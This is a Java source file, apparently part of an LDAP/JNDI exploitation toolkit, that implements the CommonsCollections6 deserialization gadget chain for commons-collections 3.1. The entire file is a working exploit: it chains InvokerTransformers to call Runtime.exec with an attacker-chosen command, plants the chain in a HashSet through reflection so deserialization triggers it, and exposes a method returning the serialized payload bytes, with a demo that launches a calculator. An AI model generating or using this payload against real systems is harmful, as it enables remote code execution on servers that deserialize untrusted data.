content: package com.feihong.ldap.gadgets;
  
  import java.io.*;
  import java.lang.reflect.Field;
  import java.util.HashMap;
  import java.util.HashSet;
  import java.util.Map;
  
  import com.feihong.ldap.enumtypes.PayloadType;
  import com.feihong.ldap.gadgets.utils.Reflections;
  import org.apache.commons.collections.Transformer;
  import org.apache.commons.collections.functors.ChainedTransformer;
  import org.apache.commons.collections.functors.ConstantTransformer;
  import org.apache.commons.collections.functors.InvokerTransformer;
  import org.apache.commons.collections.keyvalue.TiedMapEntry;
  import org.apache.commons.collections.map.LazyMap;
  
  /*
  * "commons-collections:commons-collections:3.1"
  * */
  public class CommonsCollections6 {
      public static void main(String[] args) throws Exception {
         Object  object= getObject("Calc");
          ByteArrayOutputStream out = new ByteArrayOutputStream();
          ObjectOutputStream objOut = new ObjectOutputStream(out);
          objOut.writeObject(object);
  
          FileOutputStream fous = new FileOutputStream("333.ser");
  
          fous.write(out.toByteArray());
          fous.close();
          FileInputStream file = new FileInputStream("333.ser");
          ObjectInputStream obj = new ObjectInputStream(file);
          obj.readObject();
      }
      public static Object getObject(String command) throws Exception{
          String[] execArgs = new String[]{command};
          Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
          Transformer transformerChain = new ChainedTransformer(transformers);
          Map innerMap = new HashMap();
          Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
          TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
          HashSet map = new HashSet(1);
          map.add("foo");
          Field f = null;
  
          try {
              f = HashSet.class.getDeclaredField("map");
          } catch (NoSuchFieldException var18) {
              f = HashSet.class.getDeclaredField("backingMap");
          }
  
          Reflections.setAccessible(f);
          HashMap innimpl = (HashMap)f.get(map);
          Field f2 = null;
  
          try {
              f2 = HashMap.class.getDeclaredField("table");
          } catch (NoSuchFieldException var17) {
              f2 = HashMap.class.getDeclaredField("elementData");
          }
  
          Reflections.setAccessible(f2);
          Object[] array = (Object[])((Object[])f2.get(innimpl));
          Object node = array[0];
          if (node == null) {
              node = array[1];
          }
  
          Field keyField = null;
  
          try {
              keyField = node.getClass().getDeclaredField("key");
          } catch (Exception var16) {
              keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
          }
  
          Reflections.setAccessible(keyField);
          keyField.set(node, entry);
          return map;
      }
      public static byte[] getBytes(String param) throws Exception {
          Object outerMap = getObject(param);
          //序列化
          ByteArrayOutputStream baous = new ByteArrayOutputStream();
          ObjectOutputStream oos = new ObjectOutputStream(baous);
          oos.writeObject(outerMap);
          byte[] bytes = baous.toByteArray();
          oos.close();
  
          return bytes;
      }
  }
  